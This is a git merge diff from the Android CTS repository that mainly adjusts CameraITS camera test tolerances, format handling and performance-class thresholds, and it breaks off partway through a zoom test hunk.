Merge "Updated CTS test for Android Security b/231322873" into rvc-dev am: 9e2c580dda am: 77776179f0 am: 304ba8aad6 am: 486ca72e66

Original change: https://googleplex-android-review.googlesource.com/c/platform/cts/+/22104391

Change-Id: I5e043fcc1ce6a629a08782f718cdda4fb1c36780
Signed-off-by: Automerger Merge Worker <android-build-automerger-merge-worker@system.gserviceaccount.com>
diff --git a/PREUPLOAD.cfg b/PREUPLOAD.cfg
index baf8a5e..cfc6773 100644
--- a/PREUPLOAD.cfg
+++ b/PREUPLOAD.cfg
@@ -27,6 +27,7 @@
                       tests/app/
                       tests/autofillservice/
                       tests/contentcaptureservice/
+                      tests/devicepolicy/
                       tests/inputmethod/
                       tests/tests/animation/
                       tests/tests/carrierapi/
diff --git a/apps/CameraITS/config.yml b/apps/CameraITS/config.yml
index bc35cb1..fc712b3 100644
--- a/apps/CameraITS/config.yml
+++ b/apps/CameraITS/config.yml
@@ -44,7 +44,7 @@
       test_length: 7
       debug_mode: "False"  # quotes are needed here
       chart_distance: 25
-      rotator_cntl: <controller-type>  # can be arduino or canakit
+      rotator_cntl: <controller-type>  # arduino, canakit, or as-is for manual
       rotator_ch: <controller-channel>
       camera: <camera-id>
 
diff --git a/apps/CameraITS/tests/its_base_test.py b/apps/CameraITS/tests/its_base_test.py
index 1c10562..afa0128 100644
--- a/apps/CameraITS/tests/its_base_test.py
+++ b/apps/CameraITS/tests/its_base_test.py
@@ -160,6 +160,7 @@
     self.tablet.adb.shell('am force-stop com.google.android.apps.docs')
     self.tablet.adb.shell('am force-stop com.google.android.apps.photos')
     self.tablet.adb.shell('am force-stop com.android.gallery3d')
+    self.tablet.adb.shell('am force-stop com.sec.android.gallery3d')
 
   def set_tablet_landscape_orientation(self):
     """Sets the screen orientation to landscape.
diff --git a/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py b/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
index 0c35230..01fbb77 100644
--- a/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
+++ b/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
@@ -26,10 +26,16 @@
 import its_session_utils
 
 
-_BW_CH_ATOL = 6  # DN in [0,255]
-_RGB_PRIMARY_MIN = 200
-_RGB_SECONDARY_MAX = 60
-_CH_VARIANCE_ATOL = 30
+# YUV TOLs
+_BW_CH_ATOL_YUV = 6  # DN in [0,255]
+_RGB_PRIMARY_MIN_YUV = 200
+_RGB_SECONDARY_MAX_YUV = 60
+_CH_VARIANCE_ATOL_YUV = 30
+# RAW TOLs
+_BW_CH_ATOL_RAW = 1  # DN in [0,255]
+_RGB_PRIMARY_MIN_RAW = 250
+_RGB_SECONDARY_MAX_RAW = 30  # experiments show secondary after CCM applied
+_CH_VARIANCE_ATOL_RAW = 1
 _OFF = 0x00000000
 _SAT = 0xFFFFFFFF
 _NAME = os.path.basename(__file__).split('.')[0]
@@ -52,7 +58,8 @@
          'RGGB': (_OFF, _OFF, _OFF, _SAT),
          'RGB': (0, 0, 255)}
 
-_COLORS_CHECKED_RGB = (_BLACK, _WHITE, _RED, _GREEN, _BLUE)
+_COLORS_CHECKED_RAW = (_BLACK, _WHITE, _RED, _GREEN, _BLUE)
+_COLORS_CHECKED_YUV = (_BLACK,)
 _COLORS_CHECKED_MONO = (_BLACK, _WHITE)
 _COLORS_CHECKED_UPGRADE = (_BLACK,)
 _COLORS_CHECKED_BLACK = (_WHITE,)  # To make sure testPatternData is ignored
@@ -64,16 +71,29 @@
                   _BLACK_TEST_PATTERN: 'BLACK'}
 
 
-def check_solid_color(img, exp_values, color):
+def check_solid_color(img, exp_values, color, fmt):
   """Checks solid color test pattern image matches expected values.
 
   Args:
     img: capture converted to RGB image
     exp_values: list of RGB [0:1] expected values
-    color: str; color to check.
+    color: str; color to check
+    fmt: str; capture format.
   Returns:
     True if any of the checks fail.
   """
+  # Assign tolerances
+  if fmt == 'raw':
+    bw_ch_atol = _BW_CH_ATOL_RAW
+    rgb_primary_min = _RGB_PRIMARY_MIN_RAW
+    rgb_secondary_max = _RGB_SECONDARY_MAX_RAW
+    ch_variance_atol = _CH_VARIANCE_ATOL_RAW
+  else:
+    bw_ch_atol = _BW_CH_ATOL_YUV
+    rgb_primary_min = _RGB_PRIMARY_MIN_YUV
+    rgb_secondary_max = _RGB_SECONDARY_MAX_YUV
+    ch_variance_atol = _CH_VARIANCE_ATOL_YUV
+
   test_fail = False
   logging.debug('Checking %s solid test pattern w/ RGB values %s',
                 color, str(exp_values))
@@ -83,41 +103,42 @@
               image_processing_utils.compute_image_variances(img)]
   logging.debug('Captured frame variances: %s', str(rgb_vars))
   if color in ['BLACK', 'WHITE']:
-    if not np.allclose(rgb_means, exp_values, atol=_BW_CH_ATOL):
+    if not np.allclose(rgb_means, exp_values, atol=bw_ch_atol):
       logging.error('Image not expected value for color %s. '
                     'RGB means: %s, expected: %s, ATOL: %d',
-                    color, str(rgb_means), str(exp_values), _BW_CH_ATOL)
+                    color, str(rgb_means), str(exp_values), bw_ch_atol)
       test_fail = True
-    if not all(i < _CH_VARIANCE_ATOL for i in rgb_vars):
+    if not all(i < ch_variance_atol for i in rgb_vars):
       logging.error('Image has too much variance for color %s. '
                     'RGB variances: %s, ATOL: %d',
-                    color, str(rgb_vars), _CH_VARIANCE_ATOL)
+                    color, str(rgb_vars), ch_variance_atol)
       test_fail = True
   else:
     exp_values_mask = np.array(exp_values)//255
     primary = max(rgb_means*exp_values_mask)
     secondary = max((1-exp_values_mask)*rgb_means)
-    if primary < _RGB_PRIMARY_MIN:
+    if primary < rgb_primary_min:
       logging.error('Primary color %s not bright enough.'
                     'RGB means: %s, expected: %s, MIN: %d',
-                    color, str(rgb_means), str(exp_values), _RGB_PRIMARY_MIN)
+                    color, str(rgb_means), str(exp_values), rgb_primary_min)
       test_fail = True
-    if secondary > _RGB_SECONDARY_MAX:
+    if secondary > rgb_secondary_max:
       logging.error('Secondary colors too bright in %s. '
                     'RGB means: %s, expected: %s, MAX: %d',
-                    color, str(rgb_means), str(exp_values), _RGB_SECONDARY_MAX)
+                    color, str(rgb_means), str(exp_values), rgb_secondary_max)
+      test_fail = True
 
     primary_rgb_vars = max(rgb_vars*exp_values_mask)
     secondary_rgb_vars = max((1-exp_values_mask)*rgb_vars)
-    if primary_rgb_vars > _CH_VARIANCE_ATOL:
+    if primary_rgb_vars > ch_variance_atol:
       logging.error('Image primary color has too much variance for %s. '
                     'RGB variances: %s, ATOL: %d',
-                    color, str(rgb_vars), _CH_VARIANCE_ATOL)
+                    color, str(rgb_vars), ch_variance_atol)
       test_fail = True
-    elif secondary_rgb_vars > _CH_VARIANCE_ATOL:
+    elif secondary_rgb_vars > ch_variance_atol:
       logging.error('Image secondary color has too much variance for %s. '
                     'RGB variances: %s, ATOL: %d',
-                    color, str(rgb_vars), _CH_VARIANCE_ATOL)
+                    color, str(rgb_vars), ch_variance_atol)
   return test_fail
 
 
@@ -150,7 +171,10 @@
         if camera_properties_utils.mono_camera(props):
           colors_checked_solid = _COLORS_CHECKED_MONO
         else:
-          colors_checked_solid = _COLORS_CHECKED_RGB
+          if camera_properties_utils.raw16(props):
+            colors_checked_solid = _COLORS_CHECKED_RAW
+          else:
+            colors_checked_solid = _COLORS_CHECKED_YUV
       else:
         colors_checked_solid = _COLORS_CHECKED_UPGRADE
 
@@ -191,15 +215,23 @@
           req = capture_request_utils.auto_capture_request()
           req['android.sensor.testPatternMode'] = pattern
           req['android.sensor.testPatternData'] = color['RGGB']
-          fmt = {'format': 'yuv'}
+          if camera_properties_utils.raw16(props):
+            fmt = {'format': 'raw'}
+          else:
+            fmt = {'format': 'yuv'}
+          logging.debug('Using format: %s', fmt['format'])
           caps = cam.do_capture([req]*num_frames, fmt)
           cap = caps[-1]
           logging.debug('Capture metadata RGGB pattern: %s, '
                         'testPatternData: %s', captured_pattern,
                         str(cap['metadata']['android.sensor.testPatternData']))
           # Save test pattern image
-          img = image_processing_utils.convert_capture_to_rgb_image(
-              cap, props=props)
+          if fmt['format'] == 'yuv':
+            img = image_processing_utils.convert_capture_to_rgb_image(
+                cap, props=props)
+          else:
+            img = image_processing_utils.convert_capture_to_rgb_image(
+                cap, props=props, apply_ccm_raw_to_rgb=False)
           captured_color = color['color']
           image_processing_utils.write_image(
               img,
@@ -208,11 +240,11 @@
 
           # Check solid pattern for correctness
           if pattern == _SOLID_COLOR_TEST_PATTERN:
-            color_test_failed = check_solid_color(img, color['RGB'],
-                                                  captured_color)
+            color_test_failed = check_solid_color(
+                img, color['RGB'], color['color'], fmt['format'])
           else:
-            color_test_failed = check_solid_color(img, _BLACK['RGB'],
-                                                  _BLACK['color'])
+            color_test_failed = check_solid_color(
+                img, _BLACK['RGB'], _BLACK['color'], fmt['format'])
 
           if color_test_failed:
             colors_failed.append(f'{captured_pattern}/{captured_color}')
diff --git a/apps/CameraITS/tests/scene1_1/test_ev_compensation_advanced.py b/apps/CameraITS/tests/scene1_1/test_ev_compensation_advanced.py
index 4f589ce..710e207 100644
--- a/apps/CameraITS/tests/scene1_1/test_ev_compensation_advanced.py
+++ b/apps/CameraITS/tests/scene1_1/test_ev_compensation_advanced.py
@@ -15,11 +15,11 @@
 
 
 import logging
+import math
 import os.path
 import matplotlib
 from matplotlib import pylab
 from mobly import test_runner
-import numpy as np
 
 import its_base_test
 import camera_properties_utils
@@ -29,17 +29,15 @@
 
 LINEAR_TONEMAP_CURVE = [0.0, 0.0, 1.0, 1.0]
 LOCKED = 3
-LUMA_DELTA_THRESH = 0.05
-LUMA_LOCKED_TOL = 0.05
+LUMA_DELTA_ATOL = 0.05
+LUMA_DELTA_ATOL_SAT = 0.10
+LUMA_SAT_THRESH = 0.75  # luma value at which ATOL changes from MID to SAT
 NAME = os.path.splitext(os.path.basename(__file__))[0]
 PATCH_H = 0.1  # center 10%
 PATCH_W = 0.1
 PATCH_X = 0.5 - PATCH_W/2
 PATCH_Y = 0.5 - PATCH_H/2
 THRESH_CONVERGE_FOR_EV = 8  # AE must converge within this num auto reqs for EV
-YUV_FULL_SCALE = 255.0
-YUV_SAT_MIN = 250.0
-YUV_SAT_TOL = 3.0
 
 
 def create_request_with_ev(ev):
@@ -122,6 +120,10 @@
         caps = cam.do_capture([req]*THRESH_CONVERGE_FOR_EV, fmt)
         for cap in caps:
           if cap['metadata']['android.control.aeState'] == LOCKED:
+            ev_meta = cap['metadata']['android.control.aeExposureCompensation']
+            if ev_meta != ev:
+              raise AssertionError(
+                  f'EV comp capture != request! cap: {ev_meta}, req: {ev}')
             lumas.append(extract_luma_from_capture(cap))
             break
         if caps[THRESH_CONVERGE_FOR_EV-1]['metadata'][
@@ -133,6 +135,8 @@
       i_mid = len(ev_steps) // 2
       luma_normal = lumas[i_mid] / ev_shifts[i_mid]
       expected_lumas = [min(1.0, luma_normal*shift) for shift in ev_shifts]
+      luma_delta_atols = [LUMA_DELTA_ATOL if l < LUMA_SAT_THRESH
+                          else LUMA_DELTA_ATOL_SAT for l in expected_lumas]
 
       # Create plot
       pylab.figure(NAME)
@@ -145,17 +149,15 @@
       matplotlib.pyplot.savefig(
           '%s_plot_means.png' % os.path.join(log_path, NAME))
 
-      luma_diffs = [expected_lumas[i]-lumas[i] for i in range(len(ev_steps))]
-      max_diff = max(abs(i) for i in luma_diffs)
-      avg_diff = abs(np.array(luma_diffs)).mean()
-      logging.debug(
-          'Max delta between modeled and measured lumas: %.4f', max_diff)
-      logging.debug(
-          'Avg delta between modeled and measured lumas: %.4f', avg_diff)
-      if max_diff > LUMA_DELTA_THRESH:
-        raise AssertionError(f'Max delta between modeled and measured '
-                             f'lumas: {max_diff:.3f}, '
-                             f'TOL: {LUMA_DELTA_THRESH}.')
+      for i, luma in enumerate(lumas):
+        luma_delta_atol = luma_delta_atols[i]
+        logging.debug('EV step: %3d, luma: %.3f, model: %.3f, ATOL: %.2f',
+                      ev_steps[i], luma, expected_lumas[i], luma_delta_atol)
+        if not math.isclose(luma, expected_lumas[i],
+                            abs_tol=luma_delta_atol):
+          raise AssertionError('Modeled/measured luma deltas too large! '
+                               f'meas: {lumas[i]}, model: {expected_lumas[i]}, '
+                               f'ATOL: {luma_delta_atol}.')
 
 
 if __name__ == '__main__':
diff --git a/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py b/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
index 379cc11..7d8b9f2 100644
--- a/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
+++ b/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
@@ -29,7 +29,8 @@
 import its_session_utils
 
 LOCKED = 3
-LUMA_LOCKED_TOL = 0.05
+LUMA_LOCKED_RTOL_EV_SM = 0.05
+LUMA_LOCKED_RTOL_EV_LG = 0.10
 NAME = os.path.splitext(os.path.basename(__file__))[0]
 NUM_UNSATURATED_EVS = 3
 PATCH_H = 0.1  # center 10%
@@ -87,6 +88,11 @@
           props['android.control.aeCompensationStep'])
       steps_per_ev = int(1.0 / ev_per_step)
       evs = range(-2 * steps_per_ev, 2 * steps_per_ev + 1, steps_per_ev)
+      luma_locked_rtols = [LUMA_LOCKED_RTOL_EV_LG,
+                           LUMA_LOCKED_RTOL_EV_SM,
+                           LUMA_LOCKED_RTOL_EV_SM,
+                           LUMA_LOCKED_RTOL_EV_SM,
+                           LUMA_LOCKED_RTOL_EV_LG]
 
       # Converge 3A, and lock AE once converged. skip AF trigger as
       # dark/bright scene could make AF convergence fail and this test
@@ -100,7 +106,8 @@
       fmt = capture_request_utils.get_smallest_yuv_format(
           props, match_ar=match_ar)
       lumas = []
-      for ev in evs:
+      for j, ev in enumerate(evs):
+        luma_locked_rtol = luma_locked_rtols[j]
         # Capture a single shot with the same EV comp and locked AE.
         req = create_request_with_ev(ev)
         caps = cam.do_capture([req]*THRESH_CONVERGE_FOR_EV, fmt)
@@ -112,14 +119,19 @@
             image_processing_utils.write_image(
                 img, f'{test_name_w_path}_ev{ev}_frame{i}.jpg')
           if cap['metadata']['android.control.aeState'] == LOCKED:
+            ev_meta = cap['metadata']['android.control.aeExposureCompensation']
+            logging.debug('cap EV compensation: %d', ev_meta)
+            if ev != ev_meta:
+              raise AssertionError(
+                  f'EV compensation cap != req! cap: {ev_meta}, req: {ev}')
             luma = extract_luma_from_capture(cap)
             luma_locked.append(luma)
             if i == THRESH_CONVERGE_FOR_EV-1:
               lumas.append(luma)
               if not math.isclose(min(luma_locked), max(luma_locked),
-                                  rel_tol=LUMA_LOCKED_TOL):
+                                  rel_tol=luma_locked_rtol):
                 raise AssertionError(f'AE locked lumas: {luma_locked}, '
-                                     f'RTOL: {LUMA_LOCKED_TOL}')
+                                     f'RTOL: {luma_locked_rtol}')
       logging.debug('lumas in AE locked captures: %s', str(lumas))
       if caps[THRESH_CONVERGE_FOR_EV-1]['metadata'][
           'android.control.aeState'] != LOCKED:
diff --git a/apps/CameraITS/tests/scene1_2/test_post_raw_sensitivity_boost.py b/apps/CameraITS/tests/scene1_2/test_post_raw_sensitivity_boost.py
index 1847d31..2ec5bf5 100644
--- a/apps/CameraITS/tests/scene1_2/test_post_raw_sensitivity_boost.py
+++ b/apps/CameraITS/tests/scene1_2/test_post_raw_sensitivity_boost.py
@@ -15,11 +15,11 @@
 
 
 import logging
+import math
 import os.path
 import matplotlib
 from matplotlib import pylab
 from mobly import test_runner
-import numpy as np
 
 import its_base_test
 import camera_properties_utils
@@ -36,7 +36,7 @@
 _PATCH_W = 0.1
 _PATCH_X = 0.5 - _PATCH_W/2
 _PATCH_Y = 0.5 - _PATCH_H/2
-_RATIO_TOL = 0.1  # +/-10% TOL on images vs expected values
+_RATIO_RTOL = 0.1  # +/-10% TOL on images vs expected values
 _RAW_PIXEL_THRESH = 0.03  # Waive check if RAW [0, 1] value below this thresh
 
 
@@ -189,10 +189,11 @@
                         raw_means[step][ch], ratio_per_step)
           if raw_means[step][ch] <= _RAW_PIXEL_THRESH:
             continue
-          if not np.isclose(ratio_per_step, expected_ratio, atol=_RATIO_TOL):
+          if not math.isclose(ratio_per_step, expected_ratio,
+                              rel_tol=_RATIO_RTOL):
             raise AssertionError(
                 f'step: {step}, ratio: {ratio_per_step}, expected ratio: '
-                f'{expected_ratio:.3f}, ATOL: {_RATIO_TOL}')
+                f'{expected_ratio:.3f}, RTOL: {_RATIO_RTOL}')
 
       # YUV asserts
       for ch, _ in enumerate(_COLORS):
@@ -204,9 +205,9 @@
         logging.debug('%s channel vals %s mean %f', _COLORS[ch], vals, mean)
         for step in range(len(vals)):
           ratio_mean = vals[step] / mean
-          if not np.isclose(1.0, ratio_mean, atol=_RATIO_TOL):
+          if not math.isclose(1.0, ratio_mean, rel_tol=_RATIO_RTOL):
             raise AssertionError(
-                f'Capture vs mean ratio: {ratio_mean}, TOL: +/- {_RATIO_TOL}')
+                f'Capture vs mean ratio: {ratio_mean}, RTOL: +/- {_RATIO_RTOL}')
 
 if __name__ == '__main__':
   test_runner.main()
diff --git a/apps/CameraITS/tests/scene1_2/test_raw_burst_sensitivity.py b/apps/CameraITS/tests/scene1_2/test_raw_burst_sensitivity.py
index c52f977..4c6af25 100644
--- a/apps/CameraITS/tests/scene1_2/test_raw_burst_sensitivity.py
+++ b/apps/CameraITS/tests/scene1_2/test_raw_burst_sensitivity.py
@@ -85,13 +85,14 @@
       sens_min, _ = props['android.sensor.info.sensitivityRange']
       sens_max = props['android.sensor.maxAnalogSensitivity']
       sens_step = (sens_max - sens_min) // _NUM_STEPS
-      sens_ae, exp_ae, _, _, f_dist = cam.do_3a(get_results=True)
+      # Intentionally blur images for noise measurements
+      sens_ae, exp_ae, _, _, _ = cam.do_3a(do_af=False, get_results=True)
       sens_exp_prod = sens_ae * exp_ae
       reqs = []
       settings = []
       for sens in range(sens_min, sens_max, sens_step):
         exp = int(sens_exp_prod / float(sens))
-        req = capture_request_utils.manual_capture_request(sens, exp, f_dist)
+        req = capture_request_utils.manual_capture_request(sens, exp, 0)
         reqs.append(req)
         settings.append((sens, exp))
 
diff --git a/apps/CameraITS/tests/scene1_2/test_raw_sensitivity.py b/apps/CameraITS/tests/scene1_2/test_raw_sensitivity.py
index 2a67ade..985cf12 100644
--- a/apps/CameraITS/tests/scene1_2/test_raw_sensitivity.py
+++ b/apps/CameraITS/tests/scene1_2/test_raw_sensitivity.py
@@ -25,7 +25,6 @@
 import capture_request_utils
 import image_processing_utils
 import its_session_utils
-import opencv_processing_utils
 
 GR_PLANE_IDX = 1  # GR plane index in RGGB data
 IMG_STATS_GRID = 9  # Center 11.11%
@@ -76,19 +75,15 @@
       sens_max = props['android.sensor.maxAnalogSensitivity']
       sens_step = (sens_max - sens_min) // NUM_SENS_STEPS
 
-      # Skip AF if TELE camera
-      if camera_fov <= opencv_processing_utils.FOV_THRESH_TELE:
-        s_ae, e_ae, _, _, _ = cam.do_3a(do_af=False, get_results=True)
-        f_dist = 0
-      else:
-        s_ae, e_ae, _, _, f_dist = cam.do_3a(get_results=True)
+      # Intentionally blur images for noise measurements
+      s_ae, e_ae, _, _, _ = cam.do_3a(do_af=False, get_results=True)
       s_e_prod = s_ae * e_ae
 
       sensitivities = list(range(sens_min, sens_max, sens_step))
       variances = []
       for s in sensitivities:
         e = int(s_e_prod / float(s))
-        req = capture_request_utils.manual_capture_request(s, e, f_dist)
+        req = capture_request_utils.manual_capture_request(s, e, 0)
 
         # Capture in rawStats to reduce test run time
         fmt = define_raw_stats_fmt(props)
diff --git a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
index c19b6f7..a66f831 100644
--- a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
+++ b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
@@ -11,7 +11,7 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-"""Verify camera startup is < 500ms for both front and back primary cameras.
+"""Verify camera startup is < 600ms for both front and back primary cameras.
 """
 
 import logging
@@ -22,15 +22,15 @@
 import its_base_test
 import its_session_utils
 
-CAMERA_LAUNCH_R_PERFORMANCE_CLASS_THRESHOLD = 600  # ms
-CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD = 500  # ms
+# This must match MPC12_CAMERA_LAUNCH_THRESHOLD in ItsTestActivity.java
+CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD = 600  # ms
 
 
 class CameraLaunchSPerfClassTest(its_base_test.ItsBaseTest):
   """Test camera launch latency for S performance class as specified in CDD.
 
   [7.5/H-1-7] MUST have camera2 startup latency (open camera to first preview
-  frame) < 500ms as measured by the CTS camera PerformanceTest under ITS
+  frame) < 600ms as measured by the CTS camera PerformanceTest under ITS
   lighting conditions (3000K) for both primary cameras.
   """
 
@@ -41,8 +41,8 @@
         device_id=self.dut.serial,
         camera_id=self.camera_id) as cam:
 
-      perf_class_level = cam.get_performance_class_level()
-      camera_properties_utils.skip_unless(perf_class_level >= 11)
+      camera_properties_utils.skip_unless(
+          cam.is_primary_camera())
 
       # Load chart for scene.
       props = cam.get_camera_properties()
@@ -56,16 +56,17 @@
         camera_id=self.camera_id)
 
     launch_ms = cam.measure_camera_launch_ms()
-    if perf_class_level >= 12:
-      perf_class_threshold = CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD
-    else:
-      perf_class_threshold = CAMERA_LAUNCH_R_PERFORMANCE_CLASS_THRESHOLD
 
-    if launch_ms >= perf_class_threshold:
-      raise AssertionError(f'camera launch time: {launch_ms} ms, THRESH: '
-                           f'{perf_class_threshold} ms')
-    else:
-      logging.debug('camera launch time: %.1f ms', launch_ms)
+    # Assert launch time if device claims performance class
+    if (cam.is_performance_class() and
+        launch_ms >= CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD):
+      raise AssertionError(f'camera_launch_time_ms: {launch_ms}, THRESH: '
+                           f'{CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD}')
+
+    # Log launch time, so that the corresponding MPC level can be written to
+    # report log. Text must match MPC12_CAMERA_LAUNCH_PATTERN in
+    # ItsTestActivity.java.
+    print(f'camera_launch_time_ms:{launch_ms}')
 
 if __name__ == '__main__':
   test_runner.main()
diff --git a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
index 74aefd5..0eb76eb 100644
--- a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
+++ b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
@@ -22,13 +22,14 @@
 import its_base_test
 import its_session_utils
 
-JPEG_CAPTURE_PERFORMANCE_CLASS_THRESHOLD = 1000  # ms
+# This must match MPC12_JPEG_CAPTURE_THRESHOLD in ItsTestActivity.java
+JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD = 1000  # ms
 
 
 class JpegCaptureSPerfClassTest(its_base_test.ItsBaseTest):
   """Test jpeg capture latency for S performance class as specified in CDD.
 
-  [7.5/H-1-6] MUST have camera2 JPEG capture latency < 1000ms for 1080p
+  [7.5/H-1-5] MUST have camera2 JPEG capture latency < 1000ms for 1080p
   resolution as measured by the CTS camera PerformanceTest under ITS lighting
   conditions (3000K) for both primary cameras.
   """
@@ -41,7 +42,7 @@
         camera_id=self.camera_id) as cam:
 
       camera_properties_utils.skip_unless(
-          cam.get_performance_class_level() >= 11)
+          cam.is_primary_camera())
 
       # Load chart for scene.
       props = cam.get_camera_properties()
@@ -55,12 +56,18 @@
         camera_id=self.camera_id)
 
     jpeg_capture_ms = cam.measure_camera_1080p_jpeg_capture_ms()
-    if jpeg_capture_ms >= JPEG_CAPTURE_PERFORMANCE_CLASS_THRESHOLD:
-      raise AssertionError(f'1080p jpeg capture time: {jpeg_capture_ms} ms, '
+
+    # Assert jpeg capture time if device claims performance class
+    if (cam.is_performance_class() and
+        jpeg_capture_ms >= JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD):
+      raise AssertionError(f'1080p_jpeg_capture_time_ms: {jpeg_capture_ms}, '
                            f'THRESH: '
-                           f'{JPEG_CAPTURE_PERFORMANCE_CLASS_THRESHOLD} ms')
-    else:
-      logging.debug('1080p jpeg capture time: %.1f ms', jpeg_capture_ms)
+                           f'{JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD}')
+
+    # Log jpeg capture time so that the corresponding MPC level can be written
+    # to report log. Text must match MPC12_JPEG_CAPTURE_PATTERN in
+    # ItsTestActivity.java.
+    print(f'1080p_jpeg_capture_time_ms:{jpeg_capture_ms}')
 
 if __name__ == '__main__':
   test_runner.main()
diff --git a/apps/CameraITS/tests/scene3/test_flip_mirror.py b/apps/CameraITS/tests/scene3/test_flip_mirror.py
index 2dff574..679b740 100644
--- a/apps/CameraITS/tests/scene3/test_flip_mirror.py
+++ b/apps/CameraITS/tests/scene3/test_flip_mirror.py
@@ -53,10 +53,6 @@
   Returns:
     boolean: True if flipped, False if not
   """
-
-  # determine if monochrome camera
-  mono_camera = camera_properties_utils.mono_camera(props)
-
   # get a local copy of the chart template
   template = cv2.imread(opencv_processing_utils.CHART_FILE, cv2.IMREAD_ANYDEPTH)
 
@@ -139,6 +135,10 @@
       debug = self.debug_mode
       chart_loc_arg = self.chart_loc_arg
 
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          not camera_properties_utils.mono_camera(props))
+
       # load chart for scene
       its_session_utils.load_scene(
           cam, props, self.scene, self.tablet, self.chart_distance)
diff --git a/apps/CameraITS/tests/scene3/test_lens_movement_reporting.py b/apps/CameraITS/tests/scene3/test_lens_movement_reporting.py
index 61e8647..3e638d6 100644
--- a/apps/CameraITS/tests/scene3/test_lens_movement_reporting.py
+++ b/apps/CameraITS/tests/scene3/test_lens_movement_reporting.py
@@ -71,7 +71,7 @@
   caps = cam.do_capture(reqs, fmt)
   caps = caps[START_FRAME:]
   for i, cap in enumerate(caps):
-    data = {'fd': fds[i]}
+    data = {'fd': fds[i+START_FRAME]}
     data['loc'] = cap['metadata']['android.lens.focusDistance']
     data['lens_moving'] = (cap['metadata']['android.lens.state']
                            == 1)
diff --git a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
index 46bc1a1..af55ebc 100644
--- a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
+++ b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
@@ -29,7 +29,7 @@
 import opencv_processing_utils
 
 ALIGN_TOL_MM = 4.0  # mm
-ALIGN_TOL = 0.01  # multiplied by sensor diagonal to convert to pixels
+ALIGN_TOL = 0.0075  # multiplied by sensor diagonal to convert to pixels
 CIRCLE_COLOR = 0  # [0: black, 255: white]
 CIRCLE_MIN_AREA = 0.01  # multiplied by image size
 CIRCLE_RTOL = 0.1  # 10%
@@ -559,21 +559,21 @@
         logging.debug(' x_p, y_p (pixels): %.1f, %.1f', x_p[i], y_p[i])
 
       # Check center locations
-      err = np.linalg.norm(np.array([x_w[i_ref], y_w[i_ref]]) -
-                           np.array([x_w[i_2nd], y_w[i_2nd]]))
-      logging.debug('Center location err (mm): %.2f', err*M_TO_MM)
+      err_mm = np.linalg.norm(np.array([x_w[i_ref], y_w[i_ref]]) -
+                              np.array([x_w[i_2nd], y_w[i_2nd]])) * M_TO_MM
+      logging.debug('Center location err (mm): %.2f', err_mm)
       msg = 'Center locations %s <-> %s too different!' % (i_ref, i_2nd)
-      msg += ' val=%.2fmm, THRESH=%.fmm' % (err*M_TO_MM, ALIGN_TOL_MM)
-      assert err < ALIGN_TOL, msg
+      msg += ' val=%.2f, ATOL=%.f mm' % (err_mm, ALIGN_TOL_MM)
+      assert err_mm < ALIGN_TOL_MM, msg
 
       # Check projections back into pixel space
       for i in [i_ref, i_2nd]:
         err = np.linalg.norm(np.array([circle[i]['x'], circle[i]['y']]) -
-                             np.array([x_p[i], y_p[i]]))
+                             np.array([x_p[i], y_p[i]]).reshape(1, -1))
         logging.debug('Camera %s projection error (pixels): %.1f', i, err)
         tol = ALIGN_TOL * sensor_diag[i]
-        msg = 'Camera %s project locations too different!' % i
-        msg += ' diff=%.2f, TOL=%.2f' % (err, tol)
+        msg = 'Camera %s project location too different!' % i
+        msg += ' diff=%.2f, ATOL=%.2f pixels' % (err, tol)
         assert err < tol, msg
 
       # Check focal length and circle size if more than 1 focal length
diff --git a/apps/CameraITS/tests/scene6/test_zoom.py b/apps/CameraITS/tests/scene6/test_zoom.py
index b899b22..4457046 100644
--- a/apps/CameraITS/tests/scene6/test_zoom.py
+++ b/apps/CameraITS/tests/scene6/test_zoom.py
@@ -29,7 +29,8 @@
 import opencv_processing_utils
 
 CIRCLE_COLOR = 0  # [0: black, 255: white]
-CIRCLE_TOL = 0.05  # contour area vs ideal circle area pi*((w+h)/4)**2
+CIRCLE_AR_RTOL = 0.15  # contour width vs height (aspect ratio)
+CIRCLISH_RTOL = 0.05  # contour area vs ideal circle area pi*((w+h)/4)**2
 LINE_COLOR = (255, 0, 0)  # red
 LINE_THICKNESS = 5
 MIN_AREA_RATIO = 0.00015  # based on 2000/(4000x3000) pixels
@@ -153,8 +154,7 @@
       np.uint8(gray), 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)
 
   # use OpenCV to find contours (connected components)
-  _, contours, _ = cv2.findContours(255 - img_bw, cv2.RETR_TREE,
-                                    cv2.CHAIN_APPROX_SIMPLE)
+  contours = opencv_processing_utils.find_all_contours(255-img_bw)
 
   # check contours and find the best circle candidates
   circles = []
@@ -166,7 +166,10 @@
       radius = (shape['width'] + shape['height']) / 4
